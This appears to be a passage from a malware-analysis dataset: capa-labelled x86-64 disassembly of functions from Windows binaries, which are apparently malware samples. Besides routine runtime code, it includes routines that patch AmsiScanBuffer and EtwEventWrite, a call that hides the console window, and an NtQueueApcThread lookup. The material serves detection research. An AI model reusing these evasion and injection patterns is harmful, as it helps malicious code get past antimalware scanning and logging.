joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a3a0
Capabilities:
Create thread

Disassembly:
jmp 0x14001a3a0
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov rdi, rsp
mov ecx, 0x18
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x70]
lea rdx, str.CUdpSocket::Connect
lea rcx, [0x1400a5054]
call fcn.1400018d9
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.WINMM.dll_timeGetTime]
mov rcx, qword [rsp + 0x70]
mov dword [rcx + 0x1c], eax
mov rax, qword [rsp + 0x70]
add rax, 0x20
xor ecx, ecx
xchg dword [rax], ecx
mov rax, qword [rsp + 0x70]
add rax, 0x30
mov r8d, 0xa
xor edx, edx
mov rcx, rax
call fcn.140029760
mov rax, qword [rsp + 0x70]
add rax, 0x1c
mov rcx, qword [rsp + 0x70]
add rcx, 0x30
mov r8d, 8
mov rdx, rax
call fcn.140027230
mov rax, qword [rsp + 0x70]
mov byte [rax + 0x38], 0xca
mov rax, qword [rsp + 0x70]
mov byte [rax + 0x39], 1
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x8c]
cmp eax, 3
je 0x14001a47c
mov rcx, qword [rsp + 0x70]
call fcn.140001573
mov word [rsp + 0x20], 0
xor r9d, r9d
movzx r8d, word [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.140001aa0
mov dword [rsp + 0x30], eax
mov edx, 0x1770
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x358]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
je 0x14001a4e2
cmp dword [rsp + 0x54], 0x102
je 0x14001a53b
cmp dword [rsp + 0x54], 0xffffffff
je 0x14001a553
jmp 0x14001a56b
mov rax, qword [rsp + 0x70]
add rax, 0x20
mov ecx, 1
xchg dword [rax], ecx
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x70]
lea r8, [0x140001497]
xor edx, edx
xor ecx, ecx
call fcn.14002cb60
mov rcx, qword [rsp + 0x70]
mov qword [rcx + 0x360], rax
mov al, 1
jmp 0x14001a571
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x14001a571
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax + 0x358]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x14001a571
xor al, al
jmp 0x14001a571
mov rdi, rax
mov rcx, rsp
lea rdx, [0x1400a5d50]
call fcn.1400290a0
mov rax, rdi
add rsp, 0x60
pop rdi
ret
Function at 0x14001dca0
Capabilities:
Initialize winsock library

Disassembly:
jmp 0x14001dca0
mov byte [rsp + 0x20], r9b
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x68
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x88]
mov rax, qword [0x1400c53c0]
xor rax, rbp
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x18], 0
mov rax, qword [rbp + 0x68]
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14001dd53
mov eax, 0x198
add rax, 0x24
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
add rax, 0xf
cmp rax, qword [rbp + 0x28]
ja 0x14001dd20
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.14002e0b0
sub rsp, rax
lea rax, [rsp + 0x20]
mov qword [rbp + 0x30], rax
lea r8, [rbp + 0x18]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x30]
call fcn.140029130
add qword [rbp + 0x30], 0x20
mov rax, qword [rbp + 0x30]
mov qword [rbp], rax
movzx eax, byte [rbp + 0x78]
and rax, 0xff
movzx eax, al
movzx ecx, byte [rbp + 0x70]
and rcx, 0xff
movzx ecx, cl
shl ecx, 8
or eax, ecx
mov rdx, qword [rbp]
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, qword [rbp + 0x60]
mov dword [rcx], eax
mov rax, qword [rbp + 0x60]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400a6930]
mov r8, qword [rbp + 0x18]
call fcn.140029170
mov rax, rdi
mov rcx, qword [rbp + 0x38]
xor rcx, rbp
call fcn.14002a4b0
lea rsp, [rbp + 0x48]
pop rdi
pop rbp
ret

Function at 0x14001e130
Capabilities:
Create thread

Disassembly:
jmp 0x14001e130
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, rsp
mov ecx, recv
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x40]
lea r8, [0x1400016ef]
xor edx, edx
xor ecx, ecx
call fcn.14002cb60
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 0x30], rax
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x40]
call fcn.14000157d
add rsp, 0x30
pop rdi
ret
Function at 0x14001f6e0
Capabilities:
Create thread
Hide graphical window

Disassembly:
jmp 0x14001f6e0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x30
mov rdi, rsp
mov ecx, recv
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x40]
lea rcx, [0x1400017f3]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call qword [sym.imp.USER32.dll_GetInputState]
call fcn.14000100f
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140001898]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x1400c8960], rax
mov edx, 0xffffffff
mov rcx, qword [0x1400c8960]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x1400c8960]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x140046e77
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400c53c0]
jne 0x14002a4ca
rol rcx, 0x10
test cx, 0xffff
jne 0x14002a4c6
repz ret
ror rcx, 0x10
jmp 0x140046dd0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400c90f0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400c91e8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140046e55
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400c90f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140046e77
mov rax, qword [rsp + 0x88]
mov qword [0x1400c91e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400c9188], rax
mov rax, qword [0x1400c91e8]
mov qword [0x1400c9060], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400c9170], rax
mov dword [0x1400c9050], 0xc0000409
mov dword [0x1400c9054], 1
mov rax, qword [0x1400c53c0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400c53c8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400c90e8], eax
mov ecx, 1
call fcn.140040330
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400aead0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400c90e8], 0
jne 0x140046efe
mov ecx, 1
call fcn.140040330
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x2fc4da440
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4db520
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4dae42
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fd108]
test eax, eax
je 0x2fc4daeda
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fd110]
mov qword [rbp - 8], rax
jmp 0x2fc4daebe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4daeb2
cmp qword [rbp - 0x10], 0
je 0x2fc4daeb2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4dae78
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4daedb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dafe0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4db008
mov eax, 0
jmp 0x2fc4db056
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4db031
mov eax, 0
jmp 0x2fc4db056
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4db051
mov eax, 0
jmp 0x2fc4db056
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4db05c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4db0da
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4db0d1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4db0d1
mov rax, qword [rbp - 8]
jmp 0x2fc4db0ef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4db0a4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d74b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d8590
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d7eb2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fa108]
test eax, eax
je 0x2fc4d7f4a
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fa110]
mov qword [rbp - 8], rax
jmp 0x2fc4d7f2e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d7f22
cmp qword [rbp - 0x10], 0
je 0x2fc4d7f22
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d7ee8
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d7f4b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d8050
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d8078
mov eax, 0
jmp 0x2fc4d80c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d80a1
mov eax, 0
jmp 0x2fc4d80c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d80c1
mov eax, 0
jmp 0x2fc4d80c6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d80cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d814a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d8141
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d8141
mov rax, qword [rbp - 8]
jmp 0x2fc4d815f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d8114
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc55b690
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc55c770
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc55c092
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc57e108]
test eax, eax
je 0x2fc55c12a
lea rax, [0x2fc57e0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc57e110]
mov qword [rbp - 8], rax
jmp 0x2fc55c10e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc55c102
cmp qword [rbp - 0x10], 0
je 0x2fc55c102
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc55c0c8
lea rax, [0x2fc57e0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc55c12b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc55c230
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc55c258
mov eax, 0
jmp 0x2fc55c2a6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc55c281
mov eax, 0
jmp 0x2fc55c2a6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc55c2a1
mov eax, 0
jmp 0x2fc55c2a6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc55c2ac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc55c32a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc55c321
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc55c321
mov rax, qword [rbp - 8]
jmp 0x2fc55c33f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc55c2f4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180001de0
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword gs:[0x30]
mov rsi, rdx
mov rdi, rcx
mov r9, qword [rax + 0x30]
mov rax, qword [r9 + 0x60]
test rax, rax
jne 0x180001e14
or eax, 0xffffffff
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov ecx, dword [rax + 0x118]
cmp ecx, 0xa
jne 0x180001e38
cmp dword [rax + 0x11c], 0
jne 0x180001e38
lea rax, [0x1800028f3]
lea rcx, [0x1800028fe]
jmp 0x180001eae
cmp ecx, 6
jne 0x180001f5c
cmp dword [rax + 0x11c], 1
jne 0x180001e68
mov edx, 0x1db1
cmp word [rax + 0x120], dx
jne 0x180001e68
lea rax, [0x180002890]
lea rcx, [0x18000289b]
jmp 0x180001eae
cmp ecx, 6
jne 0x180001f5c
cmp dword [rax + 0x11c], 2
jne 0x180001e8a
lea rax, [0x1800028b1]
lea rcx, [0x1800028bc]
jmp 0x180001eae
cmp ecx, 6
jne 0x180001f5c
cmp dword [rax + 0x11c], 3
jne 0x180001f5c
lea rax, [0x1800028d2]
lea rcx, [0x1800028dd]
mov qword [0x180020ba0], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x60], rbx
movsxd rbx, r8d
mov r9d, 0x40
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x38]
or rcx, 0xffffffffffffffff
mov qword [0x180020ba8], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rbx
call rax
test eax, eax
jne 0x180001f12
mov r9, rbx
mov qword [rsp + 0x20], 0
mov r8, rsi
mov rdx, rdi
or rcx, 0xffffffffffffffff
call qword [0x180020ba0]
test eax, eax
je 0x180001f25
or eax, 0xffffffff
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov r9d, dword [rsp + 0x78]
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x40]
or rcx, 0xffffffffffffffff
call qword [0x180020ba8]
mov rbx, qword [rsp + 0x60]
neg eax
sbb eax, eax
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov eax, 0xfffffffe
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x180001f70
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x450
mov rax, qword [0x18001f010]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rbx, rcx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x180001fed
lea r8, str._CLRHOST__Cannot_load_ntdll.dll
mov edx, 0x400
lea rcx, [rsp + 0x40]
call fcn.1800010a0
lea rax, [rsp + 0x40]
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x180001fc0
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 0xfffffffe
jmp 0x180002063
lea rdx, str.EtwEventWrite
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x18000204e
lea r8, str._CLRHOST__Cannot_get_address_of_EtwEventWrite
mov edx, 0x400
lea rcx, [rsp + 0x40]
call fcn.1800010a0
lea rax, [rsp + 0x40]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180002021
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 0xfffffffe
jmp 0x180002063
mov r8d, 1
lea rdx, [0x18001f906]
mov rcx, rax
call fcn.180001de0
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.180002b10
add rsp, 0x450
pop rbx
ret
Function at 0x180002080
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x450
mov rax, qword [0x18001f010]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rbx, rcx
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x1800020fd
lea r8, str._CLRHOST__Cannot_load_amsi.dll
mov edx, 0x400
lea rcx, [rsp + 0x40]
call fcn.1800010a0
lea rax, [rsp + 0x40]
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800020d0
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 0xfffffffe
jmp 0x180002173
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x18000215e
lea r8, str._CLRHOST__Cannot_get_address_of_AmsiScanBuffer
mov edx, 0x400
lea rcx, [rsp + 0x40]
call fcn.1800010a0
lea rax, [rsp + 0x40]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180002131
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 0xfffffffe
jmp 0x180002173
mov r8d, 6
lea rdx, [0x18001f900]
mov rcx, rax
call fcn.180001de0
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.180002b10
add rsp, 0x450
pop rbx
ret

Function at 0x180002290
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x30
mov rbp, rcx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueueApcThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x180002387
mov r8, qword [sym.imp.KERNEL32.dll_ExitThread]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
mov qword [rsp + 0x40], rbx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x180002382
mov qword [rsp + 0x48], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
mov ecx, 0x100040
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
